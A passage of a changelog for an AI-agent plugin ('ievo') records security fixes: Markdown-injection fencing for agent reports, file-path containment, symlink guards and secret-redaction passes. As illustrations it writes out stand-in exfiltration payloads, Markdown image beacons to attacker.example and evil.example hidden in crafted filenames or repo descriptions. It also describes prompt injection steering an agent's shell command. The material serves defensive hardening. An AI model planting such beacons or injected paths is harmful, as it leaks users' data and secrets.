• Scope — plugins/ievo/skills/evo/SKILL.md, plugins/ievo/agents/evolution.md, plugins/ievo/skills/feedback/SKILL.md; the rest of the diff is the mandatory version-bump ceremony below.
• Version — feat: → minor per AGENTS.md's bump table (new capability, not a fix); plugin.json, marketplace.json, and the coupled discover.mjs/evolution_candidates.mjs/scrub.mjs SCRIPT_VERSIONs, and the AGENTS.md compliance ledger header updated in lockstep (0.77.5 → 0.78.0).

v0.77.5

Contain discover.mjs's --stack-file to the project's own .ievo/ directory and stop echoing raw file content on a parse failure — Eva vuln-scan dogfooding finding, #543.

• Gap closed (#543) — discover.mjs's documented invocation (init/SKILL.md Step 5b) is always echo '<stack-json>' | node discover.mjs (stdin); --stack-file <path> is an undocumented-in-practice alternate input reachable only if something — e.g. a prompt injection altering the Bash command line — supplies it directly. main() read it with readFileSync(args.stackFile, "utf-8") and no resolve()/containment check and no size cap, unlike the identical --text-file shape already hardened in evolution_candidates.mjs (#523). Two disclosure paths followed: a non-JSON target's first 200 raw bytes were printed to stderr, and a JSON-shaped target (e.g. a GCP service-account key or OAuth token cache) was echoed in full to stdout via stack_input in the output JSON.
• Containment + size cap — new assertStackFileAllowed/assertStackFileReadable pair, mirroring evolution_candidates.mjs's assertTextFileAllowed/assertTextFileReadable: a lexical pre-check restricting --stack-file to <project>/.ievo/ (new --project <root> flag, default .), then an lstatSync regular-file + MAX_STACK_FILE_BYTES (256 KB, matching MAX_TEXT_FILE_BYTES/MAX_SCAN_FILE_BYTES) size-cap check, then a realpath re-check against both sides to close the gap a lexical-only check leaves open when an ancestor directory under .ievo/ is itself a symlink.
• Dropped the raw-content echo — the non-JSON --stack-file path no longer logs First 200 chars: ... to stderr; the parse-failure message alone is enough to debug a malformed stack file without also disclosing its content. The stdin path is untouched — it's the documented, actually-used invocation and carries no equivalent untrusted-path precondition.
• Tests — new assertStackFileAllowed/assertStackFileReadable unit suites (containment, traversal, symlinked-ancestor rejection, size cap, real-fs defaults), --project flag coverage, and main()/CLI-subprocess tests for the containment rejection, oversized rejection, non-regular-file rejection, ENOENT-inside-.ievo/, and the no-raw-echo guarantee. Existing --stack-file tests updated to write fixtures under <project>/.ievo/ and pass --project.
• Scope — plugins/ievo/scripts/discover.mjs + its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table; 0.77.4 was independently claimed by sibling PR #542 before this one rebased, so this PR takes the next free slot (0.77.4 → 0.77.5). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.77.4

Guard validate_skills.mjs's discoverSkillFiles() against symlink-following (CWE-59) — Eva research-audit finding, recurring since 2026-07-23.

• Gap closed — discoverSkillFiles() used statSync (follows symlinks) instead of lstatSync (judges the directory entry on its own metadata) to test whether a plugins/ievo/skills/ entry is a directory. The same file's isOversized(), two functions above, already documents the lstatSync-not-statSync rationale for exactly this reason — this function just didn't follow it. A crafted PR could add a symlinked directory entry under plugins/ievo/skills/ pointing outside the repo tree, and statSync would happily follow it into discovery.
• The fix — discoverSkillFiles() now judges every candidate entry via lstatSync, matching isOversized()'s existing pattern; no statSync call remains in the file.
• Tests — new CWE-59 regression case (symlinked directory entry is excluded from discovery: 0 matches post-fix vs 1 pre-fix); confirmed the repo's own 22 skill directories are all real, so the change causes no discovery loss.
• Scope — plugins/ievo/scripts/validate_skills.mjs + its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table; 0.77.1 and 0.77.2 were both claimed and superseded by sibling PRs (#546, #547) before this one rebased, so this PR takes the next free slot (0.77.3 → 0.77.4). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger all updated in lockstep — SCRIPT_VERSION coupling applies here same as any other plugin-path change; an earlier revision of this entry incorrectly claimed it didn't.

v0.77.3

Close a redaction gap in scrub.mjs — HTTP credential-header values (Authorization/Cookie/Set-Cookie) passed through every scrub stage unredacted (CWE-200) — Eva vuln-scan dogfooding finding, #544.

• Gap closed (#544) — scrub()'s existing named-assignment pass (redactNamedSecrets) only fires on identifiers shaped like *_TOKEN/*_KEY/*_SECRET/*_PASSWORD/*_ID or the bare PASSWORD/SECRET/TOKEN/APIKEY/API_KEY keywords. The literal identifiers Authorization and Cookie/Set-Cookie match none of those shapes, so a captured PostToolUseFailure/PermissionDenied record whose tool_input carried a curl -H "Authorization: Bearer <token>" or a fetch/HTTP tool call's Cookie:/Set-Cookie: header persisted the live credential verbatim to .ievo/evolution-candidates/*.jsonl when a user opted in to signal: corrections+failures.
• New pass: redactHttpCredentialHeaders — runs after redactNamedSecrets, before redactUrlCredentials. Matches Authorization/Cookie/Set-Cookie (case-insensitive, JSON-key-quoted or bare), redacting the header's value while keeping the name for diagnostics — same replacement shape as redactNamedSecrets. Deliberately does NOT reuse redactNamedSecrets' comma/semicolon-terminated UNQUOTED_VALUE: a Cookie header packs multiple name=value pairs separated by ;, and a Digest Authorization value packs multiple key="value" params (including the actual credential, the trailing response="<hash>") separated by , — every segment is part of the SAME credential there, not a delimiter the way a comma is for PASSWORD=x, unrelated text. Stopping at the first ,/; (the router's own initially-proposed regex, which matched only \S+ after the auth scheme, has this same gap on a multi-param Digest value) would leak everything after it. The unquoted branch here is instead a flat [^\r\n]+ running to the next real CRLF or end of input — the same "swallow the undelimited tail" trade-off already pinned for redactNamedSecrets, applied because guessing a mid-value stop point risks under-redacting a multi-segment credential, and this file's one non-negotiable property is never leaking one. The quoted branch reuses the existing QUOTED_VALUE_INNER/QUOTED_VALUE_CLOSE fragments verbatim (same 255-unit bound, same backslash-escape awareness, same interior-quote handling), so a clean JSON "Authorization": "Bearer …" shape redacts tightly, preserving sibling fields on the same line.
• Tests — new redactHttpCredentialHeaders suite covering every scheme (Bearer/Basic/Digest/Token/Negotiate/AWS4-HMAC-SHA256), case-insensitivity, Cookie/Set-Cookie multi-pair values, a Digest value's trailing response hash, JSON-quoted key+value forms, single-quoted values, truncated/malformed quotes, word-boundary false-positive guards (MyAuthorization, authorization_token), the complementary hyphen-prefixed positive case (Proxy-Authorization — - is a non-word character, so \bAuthorization\b already matches inside it and RFC 7235 §4.4's header needs no separate name-pattern entry), and adversarial linearity timings — plus two composite scrub() cases pinning the new pass into the pipeline.
• Scope — plugins/ievo/scripts/scrub.mjs + its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table; 0.77.1 was claimed by open PR #542, and 0.77.2 was independently claimed by both this PR and PR #546 (#546 merged first), so this PR rebased onto the new main and takes the next free slot (0.77.2 → 0.77.3). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.77.2

Add an "Excerpt containment" rule to agents/evolution.md Step 5's SKIPPED report line — Eva vuln-scan dogfooding finding, #545.

• Gap closed (#545) — plugins/ievo/agents/evolution.md Step 5's SKIPPED line interpolates <top 1-2 flags — category + one-line explanation>, LLM-synthesized text derived from Step 2.5's re-audit of freshly-vendored, attacker-influenced plugin content that the re-audit just flagged YELLOW/RED — directly into the agent's final response, rendered as Markdown by whatever session/skill dispatched it, including the Claude Code chat UI. Four sibling report-emitting agents in the same plugin (vuln-scanner.md, security-auditor.md, deep-reviewer.md, review-retrospective.md) already carry an "Excerpt containment" rule before emitting a comparable field; evolution.md had no such guard on this one line.
• The rule (agents/evolution.md Step 5) — ported the identical backtick-fencing procedure the four siblings already document (code-span wrap sized one backtick longer than the longest run already in the excerpt, both-sided space padding when the excerpt starts/ends with a backtick, CR/LF collapsed to spaces before measuring), tailored to the SKIPPED line's flag-summary text, plus a one-line "Neutralize the whole SKIPPED line before it renders" cross-reference bullet in the ## Rules section, mirroring where the sibling agents place theirs.
• Same line, second interpolation — the vendor <owner>/<repo>@<path> manually pointer on that same SKIPPED line takes the same containment: <path> is a git tree entry from the vendored plugin's own repo, which Step 2 already documents as able to hold almost any byte, so a file named ![x](https://attacker.example/beacon.png?d=<data>).md would beacon on the very line reporting the plugin was rejected. <owner>/<repo> ride inside the same span but need no containment of their own — both already passed Step 2's slug-charset validation, which admits no Markdown-active character. Mirrors review-retrospective.md's precedent of fencing the untrusted field and justifying the values it leaves bare.
• Scope — plugins/ievo/agents/evolution.md only; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.77.0 → 0.77.2, next free slot after #542's claimed 0.77.1).

v0.77.0

Give consolidate/SKILL.md's entry-cluster mode a way to condense accumulated fact/convention overlay entries into a compact, dateless rule digest in place — closes #529.

• Gap closed (#529) — /ievo:evo (evo/SKILL.md Step 4) always appends a dated ## <date> — <title> section per lesson, with a **Trigger:** line and the verbatim lesson text, and that whole overlay is re-read in full on every dispatch. /ievo:consolidate's entry-cluster mode looked like the fix, but its Step 3/Step 6 explicitly excluded fact/convention-classified entries from ever being extraction candidates — "drop them from further consideration and leave them in the overlay untouched." An overlay that only ever receives plain rules/conventions (the overwhelming majority of real-world /ievo:evo captures, per the issue) therefore had no path, via either skill, to ever condense from a dated incident journal into a short, current rule list.
• Scoped to Option 2 only (operator decision, issue #529) — extends the existing Option E5 ("Consolidate in place") pattern to fact/convention clusters, entirely within consolidate/SKILL.md. Deliberately does not touch evo/SKILL.md's capture-time append format (Option 1, out of scope): that would have broken overlay-status/SKILL.md's title-rendering and consolidate/SKILL.md's own Step 1 entry parser, both of which require every overlay entry to be a dated ## section.
• Known gap, documented not fixed here — evo/SKILL.md Step 5.7's auto-offer trigger (and its delegated-agent mirror agents/evolution.md Step 4.7) still only detects procedure/judgment-role clusters, so it never offers the new Option E6 automatically; reaching it today requires invoking /ievo:consolidate --root <overlay path> directly. Extending that trigger touches files outside the operator's approved scope for this issue, so consolidate/SKILL.md's own "When to use" section now states this limitation explicitly — citing follow-up issue #539, which tracks broadening both triggers — rather than let closes #529 imply full end-to-end reachability.
• New Option E6 — "Digest in place" — offered at Step 7 for clusters Step 6 classifies as fact/convention shape:
  • Step 3's classification no longer flatly excludes fact/convention entries from all further consideration — they're never a candidate for skill/agent extraction (E1/E2/E3), but they are now eligible to cluster with each other.
  • Step 4's cluster detection now clusters fact/convention entries separately from procedure/judgment-role entries, on a broadened criterion (entries that state, restate, or revise the same underlying rule/topic — not just "the same recurring flow or role") so a cluster of this shape can actually form; the two groups never mix into one cluster.
  • Step 6 defines the digest shape: a dateless, numbered rule list — one line per rule, substance only, no per-rule date/Trigger/verbatim-quote framing. When members restate the same rule over time, only the current version's substance survives (not lossy — git history keeps every original entry); a genuine unresolved contradiction is still flagged, never silently picked.
  • Step 8 authors the digest the same way Step 8 already authors Option E5's merged entry — one dated heading + one breadcrumb **Trigger:** line for provenance and forward-parseability (overlay-status/Step 1 both still only recognize a dated ## heading as an entry) — but the body is the Step 6 digest shape instead of E5's prose.
  • Step 9 deletes the cluster's member entries and appends the single digest entry at the end of the overlay, same positional rule as E5 (a today-dated entry can't be inserted back among older, untouched entries without breaking the overlay's chronological order) and no redirect stub (the digest lives in the same already-fully-loaded file).
  • Steps 10/12/13 (entry inventory, duplicate re-check, single-source-of-truth audit) and Checkpoint 3's final report gained the corresponding Option E6 outcomes; Anti-Pattern Detection gained lossy-digest, framing-leak, redirect-stub, and mixed-cluster guards specific to E6.
• Scope — plugins/ievo/skills/consolidate/SKILL.md only; the rest of the diff is the mandatory version-bump ceremony below.
• Version — feat: → minor per AGENTS.md's bump table (new capability, no capture-time format change). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.76.6 → 0.77.0).

v0.76.6

Add an "Excerpt containment" rule to inspect/SKILL.md Step 5 so attacker-controlled repo metadata can't render live Markdown injection — Eva vuln-scan dogfooding finding, #531.

• Gap closed (#531) — plugins/ievo/skills/inspect/SKILL.md Step 5 (the capability-summary template) interpolated the README/plugin-description summary paragraph and every Plugin/Skill/Agent/Command table cell (name, version, license, description, effort, allowed-tools, model) with no Markdown-injection fencing, even though every one of those values is fetched in Step 4 from the target (unvetted) repo's own files. /ievo:inspect is explicitly the pre-vetting entry point — "without triggering discovery, security scan, or install" — so this is the first surface a crafted description:/README containing ![...](...) or [...](...) reaches, rendering live in the chat UI the instant the summary is displayed. Unlike this skill, deep-review/SKILL.md, vuln-scan/SKILL.md, security-check/SKILL.md, and feedback/SKILL.md already carry an equivalent rule.
• The rule (inspect/SKILL.md Step 5) — ported security-check/SKILL.md's "Excerpt containment" wording (variable-length backtick fence, one character longer than the longest backtick run already in the value) as a new paragraph directly under the Step 5 template, plus a one-line "Neutralize excerpts before they render" cross-reference bullet in the ## Rules section, mirroring where the sibling skills place theirs. Checked security-check/SKILL.md's rule for a "takes precedence"-style deference to a companion secret-redaction rule (the failure mode in evolution-store L-2026-07-30-02, where a prior port dropped exactly that counterweight) — it has none, unlike vuln-scan/SKILL.md's version; inspect/SKILL.md only extracts structured frontmatter fields and capped excerpts (never full file bodies), so no companion rule was needed here. Wrapping alone does not contain a value on this template's surfaces, though — three Markdown mechanics, two GFM and one CommonMark, cut a code span open from the outside — so the rule mandates normalizing every value before its fence is measured, in the explicit order truncate → collapse line breaks → escape pipes → measure the longest backtick run → wrap (padding as below):
  • Collapse every CR/LF run to a single space, on every surface. A table row must occupy exactly one line, a list item's or blockquote's content ends at a blank line, and a code span cannot contain a blank line — so a multi-line description:, README paragraph break or multi-line hooks.json command breaks its own row/bullet/quote or terminates its span outright, rendering everything after the break as live Markdown.
  • Escape | as \| inside table cells, doubling any backslash run already in front of it. GFM splits a row into cells on unescaped pipes before inline parsing — "include a pipe in a cell's content by escaping it, including inside other inline spans" (GFM § Tables (extension), example 200) — so x | ![a](u) wrapped in backticks still renders as two cells with a live image in the second. Escaping the pipe alone is not enough when the value already carries a backslash at that pipe: the naive substitution turns a\|b into a\\|b, which CommonMark's backslash-escape parity rule (the same rule that makes \\ render as one literal backslash) resolves as unescaped — an even-length run before a special character leaves it an ordinary delimiter, so the cell splits again on every spec-compliant renderer (cmark-gfm and micromark alike), reinstating the injection on exactly the chat-UI renderer class this template targets. This is a parity property of the spec, not a renderer divergence. The rule therefore doubles the backslash run immediately preceding each pipe before escaping it (\| → \\\|), keeping the run's parity odd regardless of the value's own content; backslashes elsewhere are untouched, so an ordinary C:\Users\x still displays verbatim, and the only residual is cosmetic — a backslash directly in front of a pipe displays doubled, unavoidable since every renderer consumes one backslash off that run. Table cells only: elsewhere there is no row to split, and a \| inside a code span would render its backslash literally.
  • Pad with one space on BOTH sides when the value begins or ends with a backtick. "Longest run + 1" alone doesn't contain such a value — the flush backtick merges with the wrapping fence (a code span's fence is a backtick run neither preceded nor followed by a backtick character, CommonMark § Code spans), so no span forms and the value renders live: a description: of ` ![x](evil) would have reopened this exact CWE-79. Padding must be two-sided, not just on the touching side — CommonMark removes the pad only when BOTH ends carry one ("a single space character is removed from the front and back"), so a one-sided pad never gets stripped and would leave a stray space on display, while padding both keeps the displayed value unpadded and the fence structurally separate.
• Every interpolated surface, with a closed exemption list. Fencing only the tables would relocate the payload rather than contain it, so the rule's placeholder list is exhaustive and closed. Beyond the summary paragraph and the four tables (name, version, license, description, effort, allowed-tools, model), it covers: the Scripts list (both the script's first comment line and the tree-derived <path> — Step 4's path allowlist gates fetching only, and scripts are fetched last, so a path dropped by the 30-fetch cap still renders unvalidated); the Hooks list (event keys and the arbitrary hooks.json commands); the MCP Servers list (server names and transport types from .mcp.json); the Permission Footprint (every aggregated allowed-tools string — repo-authored free text, not a fixed vocabulary); the > **Note:** <skill-name> requests broad access line (a blockquote is not a fence); Step 4's two skipped-item footer notes, whose null/failed-fetch and failed-path-validation forms both render a repo-derived <path> — the validation-skip note (`<path>` skipped: invalid characters) being the sharpest case in the file, since it quotes a path that JUST failed the ^[A-Za-z0-9._/-]+$ allowlist, i.e. the one placeholder most likely to carry live metacharacters (a git-legal filename like ![x](https://evil.example/?d=); and three Step 1 messages. The template's own single backticks around <path> and the tool names are illustrative, not a fence — the run is sized per value. The exemptions are enumerated with reasons too: this skill's own <N>/file counts, the API-shaped <commit SHA>, and the two identifier arguments — each with the one carve-out where its justification stops holding. <ref> is exempt once it has passed Step 1's ^[A-Za-z0-9._/-]+$ allowlist, but Step 1's ref-validation-failure message quotes it at exactly the moment it FAILED that allowlist, and <ref> can be the target repo's own default_branch rather than the user's typed argument, where git check-ref-format permits backtick/</>. <owner>/<repo> is exempt once Step 1 has resolved it against a real repository (GitHub's naming rules admit no Markdown metacharacter), but Step 1's 404 and 403 messages quote it precisely when that resolution failed — the string they render is the raw user-supplied argument (typed, or pasted from an untrusted README), validated by nothing. Both failure messages are now fenced by the same dynamic mechanism as every other covered placeholder, and both exemptions name their carve-out in their own wording; Step 1's 429 message interpolates no repo-derived value. Step 1's "any other error" line is fenced for a third reason: it quotes GitHub's own unclassified-error response body, never an allowlist-validated field. One placeholder was verified against the template's own text rather than assumed either way and landed in the exemptions: the <skill-name> in Next steps' `/ievo:security-check <owner>/<repo>@<skill-name>` is command-syntax guidance the user substitutes themselves — the surrounding parenthetical ("e.g. .../skills@evo — here evo is the skill name, not a git branch") clarifies syntax, and nothing in Step 5 instructs the agent to interpolate a repo-discovered name there, unlike the Permission Footprint's <skill-name>, which explicitly is populated per-skill.
• The same two fixes swept across every sibling carrying this pattern. The leading/trailing-backtick gap was independently confirmed present (grep-verified: none carried a fix before this PR) in every sibling that ports the "longest run + 1" rule — security-check/SKILL.md, security-auditor.md, deep-reviewer.md, review-retrospective.md, vuln-scanner.md, vuln-scan/SKILL.md — and the both-sided padding was applied identically in each. Five of them (deep-reviewer.md, review-retrospective.md, security-auditor.md, vuln-scanner.md, vuln-scan/SKILL.md) additionally reassured that "a multi-line excerpt is still safe to wrap this way", justified by CommonMark collapsing embedded newlines in a code span to spaces. That holds for a single newline only: a blank line ends the enclosing paragraph before inline parsing ever runs, so no span forms at all and everything after the break renders as live Markdown. All five now carry the collapse-first rule inspect/SKILL.md states. security-check/SKILL.md gets that collapse step for the first time — its - Excerpt: <cited text> line quotes raw multi-line source into a list item, which a blank line ends just as readily, so the backtick fencing it already had never reached the tail of a multi-paragraph excerpt. feedback/SKILL.md's <owner/repo@skill> identifier got both fixes on the same reasoning, and the charset argument for exempting it does not survive checking the actual data path: discover.mjs's skill.name field (populated from both the skills.sh search and the Codex marketplace fetch) only checks typeof === "string" — no agentskills.io [a-z0-9-]+ allowlist is applied at fetch time — and init/references/install-protocol.md's naming check gates the INSTALL write, not this Flow B rejection-reasons render, a different and earlier surface in the same pipeline (/ievo:init Step 13's handoff), so a leading/trailing backtick in a skill name is reachable at that render site. That file's other containment instance, at Step 3.9, is deliberately unchanged on its own merits: it is a block-level code fence rather than an inline span, so it has neither fence-merge nor blank-line exposure.
• Scope — plugins/ievo/skills/inspect/SKILL.md, plugins/ievo/skills/security-check/SKILL.md, plugins/ievo/skills/vuln-scan/SKILL.md, plugins/ievo/skills/feedback/SKILL.md, plugins/ievo/agents/security-auditor.md, plugins/ievo/agents/deep-reviewer.md, plugins/ievo/agents/review-retrospective.md, plugins/ievo/agents/vuln-scanner.md; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.76.5 → 0.76.6).

v0.76.5

Detect Codex Desktop across the plugin without misdetecting a Claude Code session nested inside it, and document the real Codex path for the evolution-captured lifecycle notification (skill/agent hooks: frontmatter is Claude-Code-only) — closes #461.

• Gap closed (#461) — every skill/agent that branched Claude-Code-vs-Codex behavior gated exclusively on $CODEX_CLI, which Codex Desktop never sets — misdetecting Desktop sessions as Claude Code and then reading/writing the wrong client's config (hooks, vendor paths, printed instructions). feedback/SKILL.md additionally always ran claude --version and rendered a Claude Code: line regardless of the invoking client. Separately, evo/SKILL.md Step 5.5's evolution-captured lifecycle hook was described as if the built-in tier covered Codex; it never has.
• Detection fix — the plugin-wide canonical rule, ordered, first match wins. init/SKILL.md Step 1.5 is now: (1) $CLAUDECODE set with $CODEX_CLI unset → Claude Code; (2) $CODEX_CLI set → Codex; (3) a Codex Desktop signal present → Codex (CODEX_INTERNAL_ORIGINATOR_OVERRIDE=Codex Desktop, or macOS __CFBundleIdentifier=com.openai.codex — both verified empirically against a live Codex Desktop session); (4) otherwise Claude Code. Check 1 is what bounds the new Desktop markers: they are ordinary environment variables inherited by the whole Codex Desktop process subtree, so a Claude Code CLI session started from a Desktop-spawned terminal would otherwise detect as Codex and vendor into .agents/skills/ — the issue #432 wrong-load-path class, reached by a new trigger. The $CODEX_CLI-unset half keeps check 2 authoritative for the mirror nesting (Codex CLI launched from a Claude Code shell inherits CLAUDECODE). Step 1.5's own heading and its "On Claude Code" line were retitled/rescoped to match this dual role: the heading no longer claims "Codex platform only" (12+ other files now cite this section as the canonical rule on every platform), and the skip instruction narrows to the codex doctor diagnostic specifically — the detection rule itself always applies, since it's what determines "Claude Code" in the first place. Every $CODEX_CLI detection site in the plugin was enumerated and brought to this one criterion — a detection sentence names the combined rule, and each branch label reads (Step 1.5: no Codex signal) / (Step 1.5: $CODEX_CLI set, or a Codex Desktop signal), never the bare variable. That covers init/SKILL.md (+ its references/log-format.md and references/install-protocol.md), evo/SKILL.md, evo-auto-enable/SKILL.md, feedback/SKILL.md, handoff/SKILL.md, extract-best-practices/SKILL.md, consolidate/SKILL.md (+ its references/package-authoring.md), debug-on/SKILL.md, commands/update.md (both its Step 1 and Step "Refresh the invoking client's copies only" occurrences), and agents/evolution.md. Two sites had said "$CODEX_CLI env var ONLY" (commands/update.md Step 1, handoff/SKILL.md Step 2f) — contradicting Step 1.5 outright, leaving a Codex Desktop session still told to run /reload-plugins and claude plugin list; the rest cited the rule only by naming the bare variable. agents/evolution.md needed the full ordered rule spelled out inline rather than a compact cross-reference, since it's a sub-agent dispatched standalone with no init-session context to fall back on — an inherited __CFBundleIdentifier there would misdetect a genuine Claude Code dispatch as Codex. Absence of all signals still defaults to Claude Code, unchanged. Swept the whole plugin (grep -rl for the exact two-check phrase, filtered against files already carrying $CLAUDECODE) to confirm coverage is exhaustive: every remaining "Codex Desktop signal" mention left is a short branch LABEL citing "Step 1.5" by reference, not a re-derivation of the check logic.
• init/SKILL.md's own hooks: frontmatter carries no client branch at all — same reason the evolution-captured hook can't reach Codex (next bullet): frontmatter hooks: is a Claude Code layer, so the Stop hook never runs on Codex and its former $CODEX_CLI branch was unreachable in exactly the case it targeted. Extending that branch with the Desktop markers would have been strictly worse — unreachable on Codex, but reachable on a Claude Code session that merely inherited a marker. The condition is dropped for the plain Claude Code message, with the reasoning recorded as a frontmatter comment.
• The delegated-to-evolution-sub-agent path has NO built-in notification at all, on any platform. evolution.md's own frontmatter comment establishes that plugin-shipped agents ignore hooks: frontmatter entirely (a Claude Code limitation, unrelated to the Codex gap this PR otherwise fixes — see AGENTS.md § Sub-agent tool isolation), so the agent's hooks: block never fires as actually installed, on Claude Code or Codex. evo/SKILL.md:475, evolution.md:377, and hooks-setup/SKILL.md's "Two complementary hook tiers" section all originally claimed this delegated path was covered by a working built-in — all three reworded to say plainly that it is not: evo/SKILL.md's own DIRECT-execution path is unaffected (that limitation is agent-specific, not skill-specific), but the delegated path's only notification MECHANISM is /ievo:hooks-setup's Step 5 PostToolUse config, not a "richer alternative" to a working built-in. That mechanism itself has a pre-existing, out-of-scope gap, however: Step 5's template writes the path pattern directly into matcher ("Write(.ievo/hooks/<event>)"), which the current hooks reference documents as invalid — hooks-setup/SKILL.md's own "Known gap, not addressed here (ticket-link-pending)" note already flags this (correcting it also touches Step 6's dedup-by-matcher logic, out of scope here) — so all 3 sites cite the gap explicitly rather than presenting the mechanism as unconditionally working.
• Hook coverage on Codex — documented, not shipped as frontmatter — the evolution-captured notification lives in evo/SKILL.md/agents/evolution.md hooks: frontmatter, which is a Claude Code mechanism. Codex loads hook config only from .codex/hooks.json, [hooks] tables in .codex/config.toml, or a Codex plugin's bundled hooks/hooks.json (Codex hooks reference), and its own SKILL.md frontmatter is documented as name/description only — so no matcher added to that frontmatter, apply_patch included, can fire on Codex CLI or Codex Desktop. The gap is the config layer, not the tool name. evo/SKILL.md, agents/evolution.md, and hooks-setup/SKILL.md now say so plainly instead of implying the built-in tier reaches Codex, and references/codex-hooks.md gains a ready-to-paste .codex/hooks.json recipe (PostToolUse / matcher: "apply_patch", path check in the command body since Codex's matcher filters on tool name only) alongside the apply_patch/Edit/Write alias behavior and the Desktop-vs-CLI distinction (verified against the current Codex hooks reference). The recipe notifies via the same shared-log-plus-bell pattern as the reference's worked example — a timestamped line in .ievo/log/hooks/events.log plus a /dev/tty bell, stdout left empty on every path — rather than echoing a message: a Codex hook's exit-0 stdout is hook protocol, and arbitrary plain text is neither of the two documented exit-0 outcomes (JSON output, parsed for hookSpecificOutput/decision; or no output, meaning success) — its handling is undocumented, reason enough not to rely on it for a human-visible notification. An echo-only handler is therefore the same "configured but never fires" failure this section exists to close (issue #461): correctly wired up, and still not guaranteed to notify anybody at the keyboard. Documented caveat: the recipe's substring match against raw stdin (necessary since apply_patch's tool_input has no published field-level schema) means it fires on ANY apply_patch call whose payload happens to contain the literal path string, not just a Write targeting it — harmless (a log line plus a bell), but worth knowing.
• feedback/SKILL.md — Step 3 now detects the invoking client before collecting a version, running claude --version on Claude Code or codex --version on Codex, and Step 4's environment templates (both flows) render only the detected client's line instead of an unconditional Claude Code: label.
• Scope — plugins/ievo/skills/{init,evo,evo-auto-enable,hooks-setup,feedback,handoff,extract-best-practices,consolidate,debug-on}/SKILL.md, plugins/ievo/skills/init/references/{log-format,install-protocol}.md, plugins/ievo/skills/hooks-setup/references/codex-hooks.md, plugins/ievo/skills/consolidate/references/package-authoring.md, plugins/ievo/commands/update.md, plugins/ievo/agents/evolution.md; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.76.4 → 0.76.5).

v0.76.4

Document Codex rust-v0.142.0 as the minimum version for reliable Step 6/8 (repo-indexer/security-auditor) parallel sub-agent dispatch — closes #232.

• Gap closed (#232) — init/SKILL.md's compatibility frontmatter named no Codex version floor for Step 6/8 parallel dispatch, and AGENTS.md § Codex sub-agent delegation documented the approval-prompt silent-stall condition but not this one. On pre-142 Codex, a Step 6/8 sub-agent that terminally failed was reported to the parent as an empty successful completion — indistinguishable from one that legitimately found nothing — so /ievo:init could rank and install off a short verdict set with no error shown.
• Fix — sourced to the rust-v0.142.0 release notes (2026-06-22): "Parent agents now receive terminal subagent errors instead of seeing failed work as an empty successful completion" (openai/codex#28375, merged 2026-06-16). AGENTS.md § Codex sub-agent delegation now carries the version floor, the citation, and distinguishes it from the neighboring approval-prompt-stall condition (harness/routing, not a version bump). init/SKILL.md's compatibility field names the same floor.
• Not the exec-server/MCP framing the issue originally proposed — the same rust-v0.142.0 release also makes exec-server processes and stdio MCP sessions survive transient disconnects (signed-URL refresh), which is the bullet #232 quoted. Traced to the merging PRs (openai/codex#28512, #28374, #28546, #28895): it's a remote/cloud exec-server (Codex Cloud remote-environment) reliability fix — "remote exec-server connection," "signed WebSocket URL," "remote stdio MCP servers" running inside a remote sandbox — not the request's assumed local spawn_agent dispatch of repo-indexer/security-auditor. Per the neighboring AGENTS.md bullet § Codex MCP tool-call timeout, neither sub-agent holds an MCP session at all (they only read a candidate's .mcp.json as scan input), so a dropped-MCP-session note would have been uncorroborated for this pipeline. The terminal-subagent-error fix in the same release is the corroborated mechanism for the issue's actual user-visible symptom (partial results, no error) — a prior build of this same issue (PR #469, closed only for going stale/conflicting after main moved, never rejected) independently reached and shipped this same correction; this PR reproduces it against current main.
• Compatibility field was at 494/500 chars, 6 of headroom — trimmed filler across the existing clauses (merged the three Claude-Code version notes into one clause, dropped restated words already covered by the skill body) to make room while keeping every existing fact; final field is 499/500 chars.
• Scope — the frontmatter change in init/SKILL.md plus the reconciling note in AGENTS.md § Codex sub-agent delegation. No script or CI change. Docs-only, no coverage obligation.
• Version — fix: → patch per AGENTS.md's bump table; discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.76.3 → 0.76.4).

---

v0.76.3

Close two redaction gaps in scrub.mjs — PEM private-key blocks and URL-embedded credentials passed through every scrub stage unredacted (CWE-200) — Eva vuln-scan dogfooding finding, #530.

• Gap closed (#530) — scrub()'s existing passes are shape-specific: redactProviderSecrets matches six fixed provider-prefixed token shapes, and redactNamedSecrets needs a NAME=value / NAME: value structure. A PEM-armored private key (-----BEGIN ... PRIVATE KEY----- armor) and a connection-string credential (postgres://user:pass@host/db, redis://:pass@host) match neither, so both persisted verbatim to .ievo/evolution-candidates/*.jsonl — contradicting the file's own contract that a captured record "can never carry a live secret".
